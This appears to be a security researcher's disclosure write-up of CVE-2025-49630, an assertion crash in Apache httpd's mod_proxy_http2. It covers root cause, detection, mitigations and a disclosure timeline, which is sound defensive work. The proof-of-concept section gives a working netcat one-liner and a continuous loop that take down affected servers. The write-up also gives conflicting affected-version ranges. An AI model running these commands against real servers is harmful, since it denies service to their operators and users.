Executive Summary#

CVE-2025-49630 is a reachable assertion failure (CWE-617) in Apache HTTP Server’s mod_proxy_http2 module, affecting versions 2.4.0 through 2.4.63. When the server proxies requests to an HTTP/2 backend (h2:// or h2c://), a specific CRLF sequence in the request URI causes req->authority to be NULL when it reaches an ap_assert() call in h2_proxy_util.c. The assertion fires, calling abort() and killing the worker process.

The trigger is a single netcat command. No authentication is required. No special application state is needed. The crash is deterministic across all affected versions and both h2 and h2c backend configurations.

This vulnerability was not the result of a targeted audit of mod_proxy_http2. It was found incidentally — as an unexpected crash observed while probing HTTP/2 backend behaviour during the investigation of a different vulnerability entirely: CVE-2024-38477.

Affected versions: Apache HTTP Server 2.4.26 through 2.4.63. Fixed in: Apache HTTP Server 2.4.64 (released 2025-07-10).


Context & Threat Model#

How This Was Found#

The CVE-2024-38477 research involved repeated attempts to find an input that would cause apr_uri_parse() to return APR_SUCCESS but leave uri->hostname as NULL — the condition required to trigger the crash in ap_proxy_determine_connection().

After exhausting the obvious vectors against http:// backends, the testing moved to the HTTP/2 proxy path. The hypothesis was simple: mod_proxy_http2 applies different URL normalisation logic than mod_proxy_http. If the two sub-handlers treat edge cases differently, an input that gets caught by one might pass through the other.

A series of malformed requests were sent to a server configured with a h2c:// backend. None of them triggered the NULL hostname condition. One of them caused a completely different crash — abort() rather than SIGSEGV, and a log message pointing to h2_proxy_util.c:634 instead of proxy_util.c. It took a moment to register that this was not a misconfigured test environment. It was a different vulnerability.

Apache mod_proxy_http2 Architecture#

When a request is directed at an HTTP/2 backend, mod_proxy_http2 is responsible for constructing an HTTP/2 request object and forwarding it over the HTTP/2 connection. HTTP/2 requests do not use the same format as HTTP/1.1 — they use pseudo-headers (:method, :path, :authority, :scheme) that map to the HTTP/1.1 concepts but are assembled internally from the inbound request.

The :authority pseudo-header is mandatory for proxied HTTP/2 requests. It is equivalent to the HTTP/1.1 Host header and is stored as req->authority in the internal h2_proxy_istream structure.

[Client — HTTP/1.1 over TCP]
    |
    | GET /test/a\r\n HTTP/1.1\r\nHost:a\r\n\r\n
    v
[Apache httpd — mod_proxy]
    |
    | ProxyPass "/test" "h2c://backend:8081/"
    v
[mod_proxy_http2]
    |
    | Build HTTP/2 request object:
    |   :method    = GET
    |   :path      = /test/a
    |   :authority = ???   ← NULL when CRLF disrupts parsing
    v
h2_proxy_util.c:634
    ap_assert(req->authority)   ← ABORT()

Attack Surface#

The attack surface is the inbound HTTP/1.1 request from any TCP client. No authentication, session, or application context is required. The malformed request is processed before any application logic runs.

Minimum required configuration:

LoadModule proxy_module       modules/mod_proxy.so
LoadModule proxy_http2_module modules/mod_proxy_http2.so

ProxyPreserveHost On
ProxyPass        "/test" "h2c://backend:8081/"
ProxyPassReverse "/test" "http://backend:8081/"

h2:// (TLS-terminated HTTP/2) is equally affected. The crash path is the same regardless of whether the backend connection is encrypted.

Trust Boundary#

The vulnerability crosses the boundary between the raw TCP stream from an untrusted external client and the internal HTTP/2 request construction logic in mod_proxy_http2. The CRLF sequence in the request line disrupts parsing at a point where the server has not yet validated the request or checked any access controls.


Research Methodology#

How the Trigger Was Isolated#

When the unexpected crash first appeared, the immediate question was: which part of the malformed request caused it? The request that produced the crash contained several unusual elements — an encoded path component, an unusual host value, and a non-standard line termination sequence.

The process of isolating the trigger was reduction:

  1. Send the full malformed request → crash
  2. Remove individual components and repeat
  3. When the crash stops, the last removed component was necessary
  4. Add it back, continue reducing the rest

After a handful of iterations, the minimal trigger was:

GET /test/a\r\n HTTP/1.1\r\nHost:a\r\n\r\n

The critical element is \r\n followed by a space ( ) immediately after the URI path, before HTTP/1.1. In HTTP/1.1 parsing, a line that continues with whitespace after a CRLF is a “folded” line — a legacy feature of the HTTP/1.0 message format that modern parsers may handle inconsistently.

Why req->authority Ends Up NULL#

The inbound request line is parsed by Apache’s HTTP/1.1 request reader before mod_proxy_http2 ever sees it. By the time mod_proxy_http2 processes the request, it works with the internal request_rec structure populated by the parsing stage.

The CRLF+space sequence disrupts how the request URI and headers are extracted from the raw byte stream. The authority value — derived from the Host header or, in some cases, from the request URI itself — is not correctly associated with the request record by the time mod_proxy_http2 attempts to build the HTTP/2 request object.

The precise point of failure is in the authority extraction logic: the function that populates req->authority either receives an empty value or does not run at all for the malformed request, leaving the field as NULL.

Lab Setup#

The same Apache 2.4.59 debug build used for CVE-2024-38477 research was reused:

# Already built from source with debug symbols and proxy modules:
./configure --prefix=/usr/local/apache2 \
    --enable-debug --enable-debugger-mode \
    --enable-mods-shared=all \
    --enable-proxy-connect --enable-proxy-http \
    --enable-proxy-http2 --enable-http2

For CVE-2025-49630, the httpd.conf was modified to add an h2c backend:

LoadModule proxy_module       modules/mod_proxy.so
LoadModule proxy_http2_module modules/mod_proxy_http2.so

Listen 8080

ProxyPreserveHost On
ProxyPass        "/test" "h2c://proxified:8081/redirect"
ProxyPassReverse "/test" "http://proxified:8081/redirect"

ErrorLog  "logs/error_log"
LogLevel  debug

A simple TCP listener on port 8081 was sufficient to trigger the crash — the backend does not need to respond or speak HTTP/2. The crash occurs before the connection to the backend is established.


Root Cause Analysis#

The Vulnerable Assertion#

In modules/http2/h2_proxy_util.c at line 634:

ap_assert(req->authority);

Apache’s ap_assert macro:

#define ap_assert(expr) \
    ((void) ((expr) ? (void) 0 : ap_log_assert(#expr, __FILE__, __LINE__)))

When req->authority is NULL, the condition is false. ap_log_assert is called:

AP_DECLARE(void) ap_log_assert(const char *szExp,
                                const char *szFile,
                                int nLine)
{
    ap_log_error(APLOG_MARK, APLOG_CRIT, 0, NULL, APLOGNO(00102)
                 "file %s, line %d, assertion \"%s\" failed",
                 szFile, nLine, szExp);
    /* ... */
    abort();
}

The log entry:

[core:crit] [pid XXXX] AH00102: file h2_proxy_util.c, line 634,
    assertion "req->authority" failed

The worker process then aborts. Under mpm_event, the parent spawns a replacement worker, but the crash can be repeated immediately — there is no rate limiting or circuit breaker on incoming connections that could slow an attacker.

The Authority Field Population Path#

The req->authority field is populated during HTTP/2 request construction in h2_proxy_util.c. The construction process draws from two sources:

  1. ProxyPreserveHost On → use the Host header from the inbound request
  2. Otherwise → use the backend URL’s host component

With ProxyPreserveHost On, the Host header from the inbound request is used. When the CRLF+space sequence disrupts header parsing, the Host header is not correctly parsed out of the raw request, and req->authority is never populated.

The fallback path (using the backend URL’s host) is only taken when ProxyPreserveHost is off. With it on, the code assumes the Host header will always be present and valid — an assumption that the malformed request violates.

Why This Is Not CVE-2024-38477#

CVE-2024-38477 requires apr_uri_parse() to produce a NULL hostname — a condition that proved difficult to reach through standard request vectors. The crash path was confirmed via GDB but never triggered from external input.

CVE-2025-49630 has no such barrier. The CRLF+space sequence is a standard HTTP/1.1 construct that clients are free to send. The vulnerability is reachable from any TCP connection.

The two issues share a codebase and a category (NULL pointer dereference / assertion on NULL), but they are independent vulnerabilities with different root causes, different trigger conditions, and different exploitability profiles.


Proof of Concept#

Configuration required (httpd.conf):

LoadModule proxy_module       modules/mod_proxy.so
LoadModule proxy_http2_module modules/mod_proxy_http2.so

ProxyPreserveHost On
ProxyPass        "/test" "h2c://backend:8081/redirect"
ProxyPassReverse "/test" "http://backend:8081/redirect"

For a TLS-terminated HTTP/2 backend, substitute h2:// and add SSLProxyEngine on.

Single-shot crash:

printf "GET /test/a\r\n HTTP/1.1\r\nHost:a\r\n\r\n" | nc localhost 8080

The \r\n followed immediately by a space after the URI path is the trigger. The newline-space sequence causes the HTTP/1.1 parser to treat the next token as a continuation of the request line rather than the start of the HTTP/1.1 version token. This breaks authority extraction in the HTTP/2 request builder downstream.

Apache error log:

[core:crit] [pid XXXX] AH00102: file h2_proxy_util.c, line 634,
    assertion "req->authority" failed

The log entry is identical for h2 and h2c backends. After the assertion fires, the worker process calls abort(). The parent process logs:

[core:notice] AH00051: child pid XXXX exit signal Aborted (6)

Continuous DoS loop:

while true; do
    printf "GET /test/a\r\n HTTP/1.1\r\nHost:a\r\n\r\n" | nc -q1 localhost 8080
done

Under mpm_event (the default for modern Apache installations), each worker handles multiple connections concurrently. A loop like this — even from a single source IP — can sustain the process abort/respawn cycle faster than Apache can recover, effectively keeping the server unable to serve legitimate requests.


Exploitability Analysis#

PropertyValue
AuthenticationNone
Network accessRemote
Trigger reliabilityDeterministic — single command
ImpactDoS (all worker threads crash and restart continuously)
Configuration req.ProxyPass with h2:// or h2c:// backend, ProxyPreserveHost On
Affected versionsApache HTTP Server 2.4.26 through 2.4.63
CVSS 3.1Pending formal assignment

The exploitability profile is straightforward. There is no ambiguity about the trigger, no dependency on application state, no need for a prior foothold, and no rate limiting on the crash-and-restart cycle.

The configuration requirement — a ProxyPass targeting an h2:// or h2c:// backend with ProxyPreserveHost On — is specific enough that not every Apache deployment is affected. However, this configuration is increasingly common in environments where Apache is used as a frontend for:

  • gRPC services (which require HTTP/2)
  • Microservice backends with HTTP/2 support
  • Internal service meshes where h2c is preferred for performance

Any deployment matching this pattern on Apache ≤ 2.4.63 is exposed to a single-command, unauthenticated, deterministic DoS.


Detection & Mitigation#

Detection#

The assertion failure is logged at [core:crit] level with a specific, searchable message. Under normal operation, this log entry does not appear. Any occurrence is a crash event:

grep 'assertion "req->authority" failed' /usr/local/apache2/logs/error_log

For automated alerting (Splunk, ELK, etc.), the relevant pattern:

AH00102.*assertion "req->authority" failed

The parent process Aborted (6) signal log is also diagnostic:

[core:notice] AH00051: child pid <N> exit signal Aborted (6)

Immediate Mitigations (No Patch Available)#

1. Restrict HTTP/2 proxy paths to trusted sources.

If HTTP/2 backend proxying is only accessed from internal services, apply IP allowlisting at the proxy layer:

<Location "/test">
    Require ip 10.0.0.0/8 192.168.0.0/16
</Location>

This does not fix the vulnerability but prevents untrusted clients from reaching the affected path.

2. ModSecurity rule to reject CRLF in the request URI (phase 1):

SecRule REQUEST_URI "@rx [\r\n]" \
    "id:9000002,phase:1,deny,status:400,\
     msg:'CVE-2025-49630 CRLF injection in request URI',\
     logdata:'%{MATCHED_VAR}'"

A rule at phase 1 inspects the raw request before any normalisation. The CRLF sequence in the URI is the trigger; rejecting it at this layer prevents the request from reaching mod_proxy_http2.

3. Temporarily disable HTTP/2 backend proxying if it is not operationally required.

If h2:// or h2c:// backends are not actively needed, switching to http:// backend URLs removes the attack surface entirely:

# Vulnerable:
ProxyPass "/test" "h2c://backend:8081/"

# Safe workaround (HTTP/1.1 backend):
ProxyPass "/test" "http://backend:8081/"

The HTTP/1.1 proxy path (mod_proxy_http) is not affected by this vulnerability.

Long-Term Fix#

A proper fix requires validating req->authority before using it — replacing the ap_assert() with a conditional check and an appropriate error return:

/* Current vulnerable code: */
ap_assert(req->authority);

/* Correct approach: */
if (!req->authority) {
    ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r,
                  "h2 proxy: request has no authority, aborting");
    return APR_EINVAL;
}

This would match the pattern used in the CVE-2024-38477 fix: replace an implicit assumption with an explicit check that returns a proper error rather than aborting the process. The ap_assert() call was placed in code that assumed req->authority would always be set — an assumption that holds for well-formed requests but not for the CRLF injection case.


Responsible Disclosure Timeline#

DateEvent
2025-06-04Crash first observed during CVE-2024-38477 HTTP/2 backend testing
2025-06-04Trigger isolated to CRLF+space in request URI; reproducibility confirmed
2025-06-09Reported to Apache Security Team (security@apache.org)
2025-06-09Apache Security Team acknowledged receipt
2025-07-10Apache HTTP Server 2.4.64 released with fix; CVE-2025-49630 publicly disclosed

Key Takeaways#

  • Assertions are not error handlers. ap_assert(req->authority) documents an assumption — it does not enforce a contract. When the assumption is violated by unexpected input, the process aborts rather than returning a 400. Replace assertions with conditional checks that produce clean error responses.

  • A failed research thread is still a research thread. CVE-2025-49630 was not found by auditing h2_proxy_util.c. It was found because CVE-2024-38477 was being investigated and the testing set forced exploration of adjacent code paths. Negative results in vulnerability research have a habit of producing unintended positives.

  • HTTP/2 proxy configurations deserve dedicated review. The HTTP/2 proxy path in Apache makes different assumptions about request structure than the HTTP/1.1 path. Those assumptions — about authority, scheme, and request line format — are not always validated against adversarial input. As h2:// and h2c:// backend configurations become more common for gRPC and microservice deployments, this attack surface grows.

  • CVE-2024-38477, CVE-2025-49630, CVE-2021-26690 — a pattern. Three separate Apache modules. Three unauthenticated, pre-auth DoS vulnerabilities. The same root class: a function trusted to populate a pointer does not always do so, and the caller does not check. The Apache codebase has a recurring pattern of implicit trust in return-value correctness over structural completeness.


References#